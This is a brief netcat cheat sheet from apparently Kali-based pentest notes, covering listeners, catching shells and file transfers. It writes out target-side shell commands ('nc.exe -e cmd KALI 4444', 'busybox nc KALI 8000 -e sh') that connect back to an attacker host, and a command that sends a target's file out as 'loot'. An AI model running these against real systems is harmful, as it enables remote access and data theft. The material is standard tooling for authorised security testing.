Tools

nc

Netcat, the default listener and raw TCP tool on Kali. It catches reverse shells (Reverse Shells), serves and receives files (File Transfers), and answers “is that port reachable” without launching anything heavier. Most flags are learned once here and reused everywhere.

Install

Kali ships a netcat as nc. If a system lacks it:

sudo apt install netcat-openbsd

Windows targets have no netcat; nc.exe goes over in File Transfers when a Windows-side listener or sender is needed.

Listen

nc -lvnp 8000

-l listens instead of connecting.
-v prints the connection when one arrives.
-n skips DNS, so the target shows as an IP.
-p sets the port.

The listener closes after the first connection ends. Restart it, or add -k to keep serving repeated connections, useful when a shell keeps dying or several hosts are expected to call back.

Catch a Shell

The plain listener is enough; every shell form that connects back to it is in Reverse Shells. Target-side -e attaches a program to the connection, which is how bind-shell one-liners hand out a shell:

nc.exe -e cmd KALI 4444
busybox nc KALI 8000 -e sh

Move Files

Serve a file to the target:

nc -lvnp 8000 < linpeas.sh

Receive a file from the target:

nc -lvnp 80 > loot.bin
# target side
nc KALI 80 < file.bin

The sender finishes and both sides hang on the open connection; when the byte count on the receiving side matches the source file’s size, close with Ctrl-C. Transfers carry no integrity check, so hash both sides afterwards when it matters.

If nothing arrives at all: no netcat on the target is a common cause, confirm with command -v nc, or skip the binary with bash’s own TCP support, as in Reverse Shells.